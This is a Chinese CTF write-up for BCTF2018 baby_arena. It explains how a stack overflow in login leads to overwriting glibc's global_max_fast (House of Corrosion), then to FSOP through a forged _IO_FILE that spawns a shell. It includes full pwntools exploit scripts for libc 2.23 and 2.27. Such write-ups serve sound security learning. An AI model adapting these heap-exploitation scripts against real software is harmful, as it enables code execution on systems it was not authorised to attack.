BCTF2018_baby_arena(House of Corrosion)
在github上找的一道libc2.23环境下的global_max_fast + fsop的题。
在buu上这道题变成了libc2.27,在fsop部分稍有不同,这里为了强调思路,我就主要讨论原题,也就是libc2.23的环境了。
buu上的exp也会给出来
分析
提供了3个功能,create,delete和login。在create的时候会puts堆块的内容,这里是可以leak出libc和heap基址的。但是没有溢出,delete也没有问题。
问题就出在login这个功能里面,
一开始问了你的name,以__int64类型的方式存到了qword_6020B0,然后又问了type,将对应type的字符串存到了v4所指向的qword_6020B0+0x8处。
但是name这个位置实际上是存在栈溢出的,可以覆盖v4的值,导致我们可以实现一次将0x6E696D6461或者0x6C65746E65696C63写到任意地址(v4+0x8)。
在glibc里,fastbin会接受的最大size是一个叫global_max_fast的全局变量控制的,默认情况为0x80,小于等于该大小的chunk在free掉之后会被放进fastbin。
typedef struct malloc_chunk *mfastbinptr;
/*
This is in malloc_state.
/* Fastbins */
mfastbinptr fastbinsY[ NFASTBINS ];
*/
fastbin的索引有如下计算方式:
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[ idx ])
/* offset 2 to use otherwise unindexable first 2 bins */
// chunk size=2*size_sz*(2+idx)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
所以,如果将global_max_fast改成一个较大的值,那么很有可能会造成fastbinsY这个数组的越界,将某一处于他之后的值改成一个堆上的地址。
这里很容易想到,可以把_IO_list_all给劫持下来,在堆上直接伪造一个 _IO_FILE_plus和vtable,然后后面create堆块时,一定会触发fastbin的报错,从而打出来malloc_printerr -> _IO_flush_all_lockp -> _IO_overflow这条链子,然后getshell。
我这里浅算了一波chunksize,让这个chunk被free的时候,能把它的地址写到_IO_list_all里
后面就是简单的fsop了,没什么好说的。
libc2.23的fsop控制好_IO_FILE里面 _IO_write_ptr > _IO_write_base 以及 _mode <= 0就好了。
我这里getshell用的是system('/bin/sh\x00'),应该也是可以直接写one_gadget的。
exp on libc-2.23
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn.test')
libc = ELF('./libc-2.23.so')
p = process('./pwn.test')
def choice(idx):
p.recvuntil('exit\n')
p.sendline(str(idx))
def create(sz, content):
choice(1)
p.recvuntil('size\n')
p.sendline(str(sz))
p.recvuntil('note\n')
p.sendline(content)
def delete(idx):
choice(2)
p.recvuntil('id:\n')
p.sendline(str(idx))
def login(name, type):
choice(3)
p.recvuntil('name\n')
p.send(name)
p.recvuntil('type\n')
p.sendline(str(type))
create(0x98, 'AAAAAAAA') # 0
create(0x98, 'BBBBBBBB') # 1
delete(0)
create(0x98, 'AAAAAAAA') # 0
p.recvuntil('AAAAAAAA')
libc_info = u64(p.recvline()[:-1].ljust(0x8, b'\x00'))
libcbase = libc_info - 0x3c4b78
global_max_fast = libcbase + 0x3c67f8
sys = libcbase + libc.symbols['system']
print(hex(libcbase))
print(hex(global_max_fast))
create(0x400, 'AAAAAAAA') # 2
create(0x400, 'CCCCCCCC') # 3
pay = b'a'*0x90 + b'/bin/sh\x00'
create(0x98, pay) # 4
delete(2)
delete(3)
create(0x400, b'A'*0x10) # 2
p.recvuntil('AAAAAAAAAAAAAAAA')
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) & 0xfffffffffffff000
print(hex(heapbase))
fsop = p64(0)*3 + p64(1)
fsop = fsop.ljust(0xc8, b'\x00')
fsop += p64(heapbase+0xae0)
fsop += p64(0)*3 + p64(sys)
create(0x1400, fsop) # 3
pay = b'A'*8 + p64(global_max_fast-0x8)
login(pay, 1)
delete(3)
choice(1)
p.recvuntil('size\n')
p.sendline(str(0x100))
p.interactive()
exp on libc-2.27
(我这里leak libcbase和heapbase是利用的tcachebin和unsortedbin,getshell打的是_IO_str_jumps -> _IO_str_finish)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
p = process('./pwn')
# p = remote('node4.buuoj.cn', 26180)
def choice(idx):
p.recvuntil('exit\n')
p.sendline(str(idx))
# sleep(0.1)
def create(sz, content):
choice(1)
p.recvuntil('size\n')
p.sendline(str(sz))
p.recvuntil('note\n')
p.sendline(content)
def delete(idx):
choice(2)
p.recvuntil('id:\n')
p.sendline(str(idx))
def login(name, type):
choice(3)
p.recvuntil('name\n')
p.send(name)
p.recvuntil('type\n')
p.sendline(str(type))
for i in range(9):
create(0x98, 'AAAAAAAA')
for i in range(8):
delete(i)
create(0x98, '') # 0
p.recvuntil('is\n')
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) & 0xfffffffffffff000
create(0x98, '/bin/sh\x00')
for i in range(6):
create(0x98, 'AAAAAAAA')
p.recvuntil('AAAAAAAA')
libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3ebca0
global_max_fast = libcbase + 0x3ed940
sys = libcbase + libc.symbols['system']
print(hex(heapbase))
print(hex(libcbase))
print(hex(global_max_fast))
print(hex(sys))
def get_IO_str_jumps():
io_file_jumps_offset = libc.symbols['_IO_file_jumps']
io_str_underflow_offset = libc.symbols['_IO_str_underflow']
for temp in libc.search(p64(io_str_underflow_offset)):
io_str_jumps = temp-0x20
if io_str_jumps > io_file_jumps_offset:
return (libcbase+io_str_jumps)
io_str_jumps = get_IO_str_jumps()
str_binsh = heapbase + 0x580
print(hex(io_str_jumps))
print(hex(str_binsh))
'''
fsop = p64(0)*3
fsop += p64((str_binsh-100)//2+1)
fsop += p64(0)*2
fsop += p64((str_binsh-100)//2)
fsop = fsop.ljust(0x98, b'\x00')
fsop += p64(2) + p64(3) + p64(0)
fsop += p64(0xffffffff)
'''
fsop = p64(0)*3 + p64(1)
fsop += p64(0) + p64(str_binsh)
fsop = fsop.ljust(0xc8, b'\x00')
fsop += p64(io_str_jumps-0x8)
fsop += p64(0) + p64(sys)
create(0x1430, fsop) # 9
pay = b'a'*0x8 + p64(global_max_fast-0x8)
login(pay, 1)
delete(9)
choice(4)
p.interactive()